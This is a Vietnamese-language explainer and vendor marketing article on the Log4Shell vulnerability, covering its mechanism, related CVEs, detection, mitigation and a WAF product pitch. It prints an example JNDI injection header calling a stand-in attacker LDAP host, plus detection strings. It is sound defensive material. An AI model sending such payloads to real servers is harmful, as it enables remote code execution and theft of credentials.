1. Log4Shell là gì?
Tháng 12 năm 2021, lỗ hổng bảo mật nghiêm trọng Log4Shell được công bố với mã CVE-2021-44228 nằm trong Apache Log4j, một thư viện mã nguồn mở phổ biến dùng để ghi nhật ký các sự kiện và lỗi trong ứng dụng Java. Tội phạm mạng khai thác lỗ hổng này có thể thực thi mã từ xa, về cơ bản là trao cho chúng quyền kiểm soát hoàn toàn các ứng dụng và thiết bị.
Giám đốc Cơ quan An ninh mạng và Cơ sở hạ tầng (CISA) của chính phủ Mỹ thậm chí còn gọi Log4Shell là “một trong những lỗ hổng phần mềm doanh nghiệp nghiêm trọng nhất”. Tổ chức Apache Software Foundation, đơn vị phát hành thư viện Log4j 2, đã chấm điểm CVSS (Common Vulnerability Scoring System) cho lỗ hổng này là 10/10, mức độ nghiêm trọng cao nhất, do tiềm năng ảnh hưởng rộng rãi và sự dễ dàng mà kẻ tấn công có thể khai thác.
Tin tặc lợi dụng Log4Shell để làm hầu như mọi thứ: Đánh cắp dữ liệu, ransomware, botnet, và thậm chí chiếm quyền kiểm soát toàn bộ hệ thống. Ước tính có khoảng 10% tổng số tài sản kỹ thuật số bao gồm các ứng dụng web, dịch vụ đám mây và các máy chủ có nguy cơ bị tấn công bởi Log4Shell tại thời điểm nó được phát hiện.

2. Cách thức hoạt động của Log4Shell
Để hiểu về cách thức hoạt động của Log4Shell, cần biết đôi chút về Log4j. Log4j là một thư viện mã nguồn mở ghi nhật ký Java mà các nhà phát triển sử dụng để ghi lại thông tin (lỗi, dữ liệu người dùng,...) trong các ứng dụng. Lỗ hổng Log4Shell xuất phát từ cách Log4J thực hiện tính năng tra cứu JNDI (Java Naming and Directory Interface).

Kẻ tấn công đã tiến hành khai thác lỗ hổng theo các bước như sau:
- Bước 1: Kẻ tấn công gửi một HTTP request, nhưng thay vì User-Agent thông thường, chúng chèn một chuỗi đặc biệt: “User-Agent: ${jndi:ldap://hacker.com/malicious}” Đây là cú pháp JNDI Lookup mà Log4J hỗ trợ để tra cứu.
- Bước 2: Server nhận request và như thường lệ, đưa toàn bộ nội dung (bao gồm User-Agent) cho Log4J để ghi log. Vấn đề là Log4J không chỉ ghi log chuỗi đó dưới dạng text, nó tự động diễn giải và thực thi cú pháp ${jndi:...} như một lệnh tra cứu.
- Bước 3: Log4J thực hiện kết nối JNDI đến địa chỉ ldap://hacker.com/malicious mà kẻ tấn công chỉ định. Server bị tấn công tự nguyện thực hiện truy vấn đến máy chủ do hacker kiểm soát.
- Bước 4: Máy chủ LDAP phản hồi lại, trả về thông tin trỏ đến một Java Class độc hại. Server bị tấn công tải và thực thi class độc hại đó. Từ đó, kẻ tấn công chiếm được quyền thực thi lệnh từ xa.
3. Cách tội phạm mạng khai thác lỗ hổng Log4Shell
Để thực hiện các cuộc tấn công, tội phạm mạng dựa vào các giao thức truyền tải được sử dụng rộng rãi cho các mục đích hợp pháp, kẻ tấn công có thể khai thác:
3.1. Lightweight Directory Access Protocol (LDAP):
LDAP được sử dụng để lưu trữ dữ liệu tại một vị trí tập trung, nơi các ứng dụng và dịch vụ khác nhau có thể truy cập. LDAP là phương pháp phổ biến nhất mà tin tặc sử dụng để khai thác lỗ hổng Log4Shell. Một cuộc tấn công điển hình hoạt động như sau:
- Tin tặc thiết lập một máy chủ LDAP và lưu trữ mã độc trên đó.
- Tin tặc gửi yêu cầu tra cứu JNDI đến một chương trình sử dụng Log4J.
- Quá trình tra cứu JNDI khiến chương trình kết nối với máy chủ LDAP của kẻ tấn công, tải xuống dữ liệu độc hại và thực thi mã.
3.2. Remote Method Invocation (RMI)
RMI là một tính năng của Java cho phép một ứng dụng trên thiết bị này yêu cầu ứng dụng trên thiết bị khác thực hiện một hành động, chẳng hạn như chia sẻ thông tin hoặc thực thi một chức năng nào đó. Các cuộc tấn công qua RMI hoạt động gần giống với tấn công qua LDAP: Tin tặc thiết lập một máy chủ RMI, lừa mục tiêu kết nối đến máy chủ này, sau đó gửi các lệnh độc hại ngược trở lại mục tiêu.
Hiện nay, các tin tặc chuyển hướng sang tấn công qua RMI vì ngày càng nhiều tổ chức chặn hoàn toàn lưu lượng LDAP.
3.3. Domain Name System (DNS)
Tin tặc sử dụng DNS để do thám mục tiêu. Chúng gửi yêu cầu tra cứu JNDI đến một chương trình, yêu cầu chương trình đó kết nối với máy chủ DNS do tin tặc kiểm soát. Nếu máy chủ DNS ghi nhận được kết nối từ chương trình đó, tin tặc biết rằng hệ thống dễ bị tổn thương và có thể bị khai thác thêm bằng Log4Shell.
4. Các lỗ hổng liên quan đến Log4shell
Trong quá trình Apache vá lỗi Log4Shell sau khi lỗ hổng này được phát hiện, một vài lỗi bảo mật liên quan khác đã lộ diện. Cuối cùng, phải mất đến bốn bản vá để có thể khắc phục hoàn toàn Log4Shell cùng tất cả các lỗ hổng liên quan.
| Lỗ hổng | Cơ chế lỗi | Bản vá |
| CVE-2021-44228 (bản gốc) | Kẻ tấn công có thể thực thi mã ngẫu nhiên bằng chức năng Message Lockup. | Phiên bản 2.15 |
| CVE-2021-45046 (bản thứ hai) | Cho phép kẻ tấn công tạo dữ liệu đầu vào độc hại, có thể dẫn đến rò rỉ thông tin hoặc thực thi mã từ xa (RCE). | Phiên bản 2.16 |
| CVE-2021-45105 (bản thứ ba) | Lỗi này khiến hệ thống dễ bị tấn công từ chối dịch vụ (DoS). Nó không cho phép thực thi mã nhưng có thể làm sập hệ thống bằng cách quá tải chúng với đầu vào đệ quy. | Phiên bản 2.17 |
| CVE-2021-44832 (bản mới nhất) | Kẻ tấn công khi kiểm soát được máy chủ LDAP mục tiêu có thể khởi động một cuộc tấn công thực thi mã từ xa (RCE) nếu cấu hình hệ thống sử dụng một JDBC Appender kết hợp với một URI nguồn dữ liệu JNDI LDAP. | Phiên bản 2.17.1 |
5. Lĩnh vực nào có nguy cơ bị tấn công bởi Log4Shell
Do tính phổ biến của Log4j, hầu như mọi ngành có hệ thống backend viết bằng Java đều nằm trong diện rủi ro. Dưới đây là các lĩnh vực có nguy cơ cao nhất:
- Tài chính, ngân hàng: Các hệ thống core banking, cổng thanh toán, ứng dụng giao dịch chứng khoán phần lớn được xây dựng trên nền tảng Java hoặc Spring Framework, vốn phụ thuộc Log4j để ghi log giao dịch. Nếu kẻ tấn công khai thác thành công, chúng có thể chiếm quyền điều khiển máy chủ xử lý dữ liệu tài chính nhạy cảm, dẫn đến rủi ro lộ thông tin khách hàng hoặc gián đoạn giao dịch.
- Chính phủ và cơ quan nhà nước: Nhiều cổng dịch vụ công, hệ thống quản lý hành chính điện tử sử dụng Java làm nền tảng backend. Đây là mục tiêu hấp dẫn với tin tặc vì mức độ ảnh hưởng lớn khi bị xâm nhập, đồng thời tốc độ vá lỗi chậm do quy trình phê duyệt phức tạp.
- Thương mại điện tử: Các nền tảng bán hàng trực tuyến, hệ thống quản lý kho, cổng thanh toán trực tuyến thường xử lý lượng lớn dữ liệu người dùng nhập vào như tên, địa chỉ, User-Agent trình duyệt. Đây chính là vector khai thác Log4Shell phổ biến nhất, khi dữ liệu đầu vào không được kiểm soát bị ghi log và kích hoạt payload độc hại.
- Viễn thông: Hệ thống quản lý mạng, tính cước (billing), OSS/BSS của các nhà mạng thường chạy trên middleware Java quy mô lớn. Một lỗ hổng ở tầng hạ tầng viễn thông có thể ảnh hưởng dây chuyền đến hàng triệu người dùng cuối.
- Y tế: Hồ sơ bệnh án điện tử (EHR), hệ thống quản lý bệnh viện tại nhiều nơi được xây dựng bằng Java. Dữ liệu y tế là loại dữ liệu nhạy cảm có giá trị cao trên thị trường chợ đen, khiến ngành y tế trở thành mục tiêu bị nhắm đến thường xuyên.
- Nhà cung cấp dịch vụ Cloud và hosting: Nhiều nền tảng PaaS, SaaS vận hành ứng dụng Java cho hàng loạt khách hàng doanh nghiệp. Nếu lớp hạ tầng dùng chung bị khai thác, hậu quả có thể lan rộng sang toàn bộ khách hàng đang sử dụng dịch vụ, tạo hiệu ứng domino nghiêm trọng.
6. Lỗ hổng bảo mật Log4Shell gây ra thiệt hại như thế nào?
Sau khi khai thác thành công Log4Shell, kẻ tấn công có thể thực hiện gần như mọi hành vi độc hại trên hệ thống nạn nhân:
- Chiếm quyền điều khiển từ xa: Kẻ xấu có thể thực thi bất kỳ đoạn mã nào trên hệ thống bị tấn công, ví dụ, tạo tài khoản quản trị viên mới, cài cắm phần mềm theo dõi hoặc backdoor để duy trì quyền truy cập lâu dài. Từ đây, kẻ tấn công có thể di chuyển ngang trong mạng nội bộ để chiếm quyền kiểm soát nhiều hệ thống hơn.
- Đánh cắp dữ liệu: Log4Shell được dùng phổ biến để đánh cắp biến môi trường chứa thông tin nhạy cảm như AWS_ACCESS_KEY_ID, DATABASE_PASSWORD, API_SECRET_KEY - những thứ mà ứng dụng lưu trong môi trường runtime để kết nối với dịch vụ bên ngoài. Một lần rò rỉ credentials có thể dẫn đến vi phạm dữ liệu toàn bộ khách hàng.
- Triển khai ransomware và phần mềm độc hại: Nhiều nhóm tội phạm mạng đã tận dụng Log4Shell làm điểm khởi đầu để triển khai ransomware vào hệ thống doanh nghiệp. Sau khi mã hóa dữ liệu, kẻ tấn công đòi tiền chuộc để giải mã, gây thiệt hại về tài chính và gián đoạn hoạt động nghiêm trọng.
7. Cách phát hiện lỗ hổng Log4Shell
Phát hiện sớm Log4Shell đang bị khai thác là yếu tố then chốt để giảm thiểu thiệt hại. Dưới đây là các phương pháp phát hiện hiệu quả nhất:
- Quét lỗ hổng (Vulnerability Scanning): Nhiều tổ chức bảo mật và hãng phần mềm đã phát hành công cụ quét Log4Shell miễn phí. Ví dụ: Nessus và Qualys đã phát hành các plugin có thể xác định chính xác phần mềm Log4j dễ bị tổn thương trên máy chủ. Ngoài ra, triển khai hệ thống phát hiện xâm nhập (IDS/IPS) với signature cập nhật cho Log4Shell là biện pháp giám sát liên tục hiệu quả.
- Giám sát nhật ký (Log Monitoring): Kiểm tra nhật ký ứng dụng và máy chủ để tìm các dấu hiệu của nỗ lực khai thác. Cụ thể, hãy tìm các chuỗi chứa ${jndi:${${ldap://rmi://${lower:${upper, đó có thể là dấu hiệu cho thấy hệ thống đang hoặc đã bị nhắm mục tiêu.
- Phân tích lưu lượng mạng (Network Traffic Analysis): Cuộc tấn công Log4Shell thường khiến máy chủ nội bộ phát sinh kết nối bất thường ra ngoài như truy vấn LDAP (cổng 389) hoặc DNS tới IP/tên miền lạ của kẻ tấn công. Sử dụng hệ thống giám sát mạng/phát hiện xâm nhập (IDS), thiết lập bộ lọc egress (chặn/lọc lưu lượng gửi đi) hoặc honeypot. Bằng cách phân tích nhật ký mạng và dữ liệu luồng (flow data), có thể kịp thời phát hiện các kết nối độc hại này.
8. Cách giảm thiểu và khắc phục sự cố Log4Shell
Để bảo vệ hệ thống trước nguy cơ khai thác từ lỗ hổng Log4Shell, các doanh nghiệp và tổ chức công nghệ cần nhanh chóng triển khai các biện pháp ứng phó khẩn cấp. Dưới đây là các phương án giảm thiểu rủi ro và khắc phục sự cố được các chuyên gia bảo mật khuyến nghị thực hiện ngay lập tức:
- Cập nhật phần mềm lên phiên bản mới nhất: Các nhà nghiên cứu bảo mật đặc biệt khuyến nghị các doanh nghiệp nên ưu tiên cập nhật tất cả các phiên bản Log4J lên phiên bản mới nhất, hoặc ít nhất là phiên bản 2.17.1.
- Loại bỏ chức năng Message Lookup khỏi các ứng dụng: Thay đổi thuộc tính hệ thống "log4J2.formatMsgNoLookups" thành "true" hoặc đặt giá trị của biến môi trường LOG4J_FORMAT_MSG_NO_LOOKUPS thành "true". Tuy nhiên, các phiên bản chưa được vá lỗi của Log4J vẫn bị ảnh hưởng bởi lỗ hổng CVE-2021-45046, cho phép tin tặc gửi các yêu cầu tra cứu JNDI độc hại khi sử dụng một số cài đặt không mặc định.
- Loại bỏ lớp JNDI Lookup khỏi các ứng dụng: Việc gỡ bỏ lớp JNDI Lookup của Log4j sẽ ngăn chặn hoàn toàn khả năng tra cứu JNDI, khắc phục triệt để cả lỗ hổng gốc lẫn biến thể đặc biệt. Biện pháp này hữu ích khi chưa thể cập nhật ngay hoặc đang phụ thuộc vào phần mềm bên thứ ba chưa có bản vá. Tuy nhiên, có thể ảnh hưởng đến một số chức năng khác của Log4j, và việc rà soát để loại bỏ hết mọi thực thể của lớp này trong toàn hệ thống không hề đơn giản.
- Tăng cường bảo mật: Các công cụ như tường lửa và phần mềm diệt virus là một phần quan trọng của bất kỳ thiết lập bảo mật nào. Tường lửa có thể hạn chế các kết nối đi ra từ máy chủ để chúng không thể truy cập vào các máy chủ LDAP hoặc HTTP không đáng tin cậy.
- Cô lập hoặc tắt các hệ thống bị ảnh hưởng: CISA khuyến cáo rằng nếu một hệ thống không thể được vá lỗi hoặc bảo vệ, nó có thể cần phải được loại bỏ khỏi hoạt động cho đến khi rủi ro được giải quyết. Đây là một biện pháp quyết liệt, nhưng nó có thể ngăn chặn sự xâm nhập lan rộng.
9. VNIS - Khiên chắn bảo vệ doanh nghiệp trước lỗ hổng bảo mật Log4Shell
Với hơn 13 năm hoạt động, VNETWORK tự hào là nhà cung cấp dịch vụ An ninh mạng và Hạ tầng số hàng đầu Việt Nam. VNETWORK là đối tác đáng tin cậy của hơn 2000 doanh nghiệp trong các lĩnh vực: Tài chính, ngân hàng, giải trí, giáo dục,... Đây cũng là nền tảng để VNETWORK thấy hiểu sâu sắc nỗi đau của thị trường và cho ra đời giải pháp VNIS nhằm tối ưu hóa hệ thống phòng thủ một cách toàn nhất trước các lỗ hổng nghiêm trọng như Log4Shell.
9.1. Các tính năng nổi bật của VNIS
VNIS (VNETWORK Internet Security) của VNETWORK là giải pháp bảo mật Web/App/API được kiến tạo từ AI - nơi AI không chỉ là công cụ hỗ trợ, mà đóng vai trò trung tâm trong việc xây dựng giải pháp, dự báo, nhận diện và phòng chống các cuộc tấn công mạng ngày càng tinh vi.
- WAF tích hợp AI: Tính năng Web Application Firewall (WAF) trong VNIS được xây dựng với hơn 2400 ruleset, có khả năng phát hiện và chặn mọi biến thể của payload Log4Shell. WAF hoạt động ở tầng ứng dụng, kiểm tra toàn bộ nội dung HTTP request trước khi chuyển đến máy chủ backend, do đó chặn được tấn công ngay cả khi Log4j chưa được vá.
- Bảo vệ đa lớp và giám sát thời gian thực: VNIS tích hợp hệ thống chống DDoS và giám sát lưu lượng thời gian thực, cho phép phát hiện ngay các hành vi bất thường như server bắt đầu gửi kết nối outbound sau khi nhận payload Log4Shell. Dashboard quản lý tập trung cung cấp cái nhìn toàn cảnh về mọi mối đe dọa đang xảy ra với hệ thống.
- Triển khai nhanh, không thay đổi hạ tầng: Triển khai nhanh chóng, không yêu cầu cài đặt agent hay chỉnh sửa hạ tầng hiện có. Doanh nghiệp SME đến Enterprise đều có thể bắt đầu được bảo vệ trong vài phút.

9.2. Mô hình bảo vệ hai lớp của VNIS
VNIS triển khai mô hình bảo vệ 2 lớp:
- Lớp 1: AI Smart Load Balancing kết hợp Multi-CDN tự động phân tích và phân phối lưu lượng hợp lý, loại bỏ nguồn traffic bất thường trước khi gây quá tải origin server. Hệ thống cache thông minh phục vụ nội dung tĩnh tại edge node gần người dùng nhất, trong khi CDN tích hợp sẵn hấp thụ volumetric attack và phân tán lưu lượng qua mạng lưới PoP toàn cầu mà không cần triển khai riêng lẻ.
- Lớp 2: WAAP tích hợp AI WAF phân tích hành vi từng request, xây dựng mô hình hành vi bình thường của từng ứng dụng để phát hiện deviation ngay cả khi attacker giả lập browser hợp lệ. Bộ quy tắc theo chuẩn OWASP được cập nhật liên tục, chặn các loại tấn công DDoS từ volumetric đến slowloris, đồng thời phân biệt bot độc hại với bot hợp lệ. Rate limit được cấu hình riêng theo từng endpoint, checkout và payment API được bảo vệ chặt chẽ hơn trang sản phẩm thông thường.
10. Kết luận
Dù đã xuất hiện từ cuối năm 2021, lỗ hổng này vẫn sẽ tiếp tục là đích nhắm ưa thích của tội phạm mạng đối với những hệ thống cũ kỹ hoặc thiếu sự giám sát chặt chẽ. Sự chậm trễ luôn phải trả giá bằng dữ liệu, tài chính và uy tín. Việc xây dựng một chiến lược phòng thủ chủ động, kết hợp giữa việc vá lỗi hệ thống nội bộ và ứng dụng công nghệ bảo vệ nâng cao ở tầng biên chính là chiếc chìa khóa vàng giúp doanh nghiệp vững vàng trước mọi làn sóng tấn công số.
Hãy để VNETWORK đồng hành cùng quý doanh nghiệp trong việc tích hợp giải pháp VNIS. Liên hệ đội ngũ VNETWORK để được tư vấn miễn phí và trải nghiệm VNIS phù hợp với hạ tầng của bạn. Hotline: (028) 7306 8789 hoặc email: contact@vnetwork.vn.
FAQ — Câu hỏi thường gặp về Log4Shell
1. Log4Shell có còn nguy hiểm vào năm 2025 không?
Có, Log4Shell vẫn là một rủi ro bảo mật đáng kể và tiếp tục bị khai thác. Mặc dù hầu hết các nền tảng lớn đã áp dụng các bản cập nhật cần thiết, nhưng một số dịch vụ nhỏ hơn và hệ thống nhúng vẫn sử dụng các phiên bản Log4j lỗi thời, khiến chúng dễ bị tấn công. Kẻ tấn công tiếp tục quét internet để tìm kiếm các hệ thống bị bỏ sót hoặc cấu hình sai để khai thác.
2. Làm thế nào để kiểm tra ứng dụng có bị ảnh hưởng bởi Log4Shell không?
Có ba cách chính: (1) Kiểm tra phiên bản Log4j trong file pom.xml, build.gradle hoặc trong thư mục WEB-INF/lib của ứng dụng Java; (2) Dùng công cụ quét phụ thuộc như OWASP Dependency-Check; (3) Sử dụng công cụ quét Log4Shell chuyên dụng gửi payload test và kiểm tra kết nối ngược. Lưu ý Log4j có thể được đóng gói bên trong các file JAR của framework khác, nên cần quét toàn bộ dependency tree.
3. WAF có thể ngăn chặn hoàn toàn Log4Shell không?
WAF thế hệ mới với bộ ruleset cập nhật có thể chặn hiệu quả hầu hết các biến thể payload Log4Shell, bao gồm các kỹ thuật obfuscation. Tuy nhiên, WAF là lớp bảo vệ bổ sung chứ không thay thế việc vá Log4j. Chiến lược tốt nhất là kết hợp cả hai: vá thư viện để loại bỏ lỗ hổng gốc, và triển khai WAF để bảo vệ trước các biến thể mới và lỗ hổng chưa được phát hiện.
4. Log4Shell khác gì so với các lỗ hổng RCE thông thường?
Điều khiến Log4Shell đặc biệt nguy hiểm hơn RCE thông thường là ba yếu tố: (1) Phạm vi ảnh hưởng cực rộng: Log4j hiện diện trong hàng chục nghìn sản phẩm phần mềm; (2) Khai thác cực kỳ đơn giản: Chỉ cần gửi một chuỗi ký tự vào bất kỳ trường nào ứng dụng ghi log; (3) Khó phát hiện: Payload trông như văn bản thông thường và không gây ra lỗi hiển thị cho người dùng.
5. Sự khác biệt giữa Log4j và Log4Shell là gì?
Log4j là một phần mềm, và Log4Shell là một lỗ hổng nghiêm trọng được phát hiện trong đó. Log4j là một thư viện ghi nhật ký Java được các nhà phát triển sử dụng để theo dõi hoạt động của hệ thống. Log4Shell đề cập cụ thể đến CVE-2021-44228 , một lỗ hổng trong Log4j cho phép thực thi mã từ xa thông qua các mục nhật ký được tạo sẵn.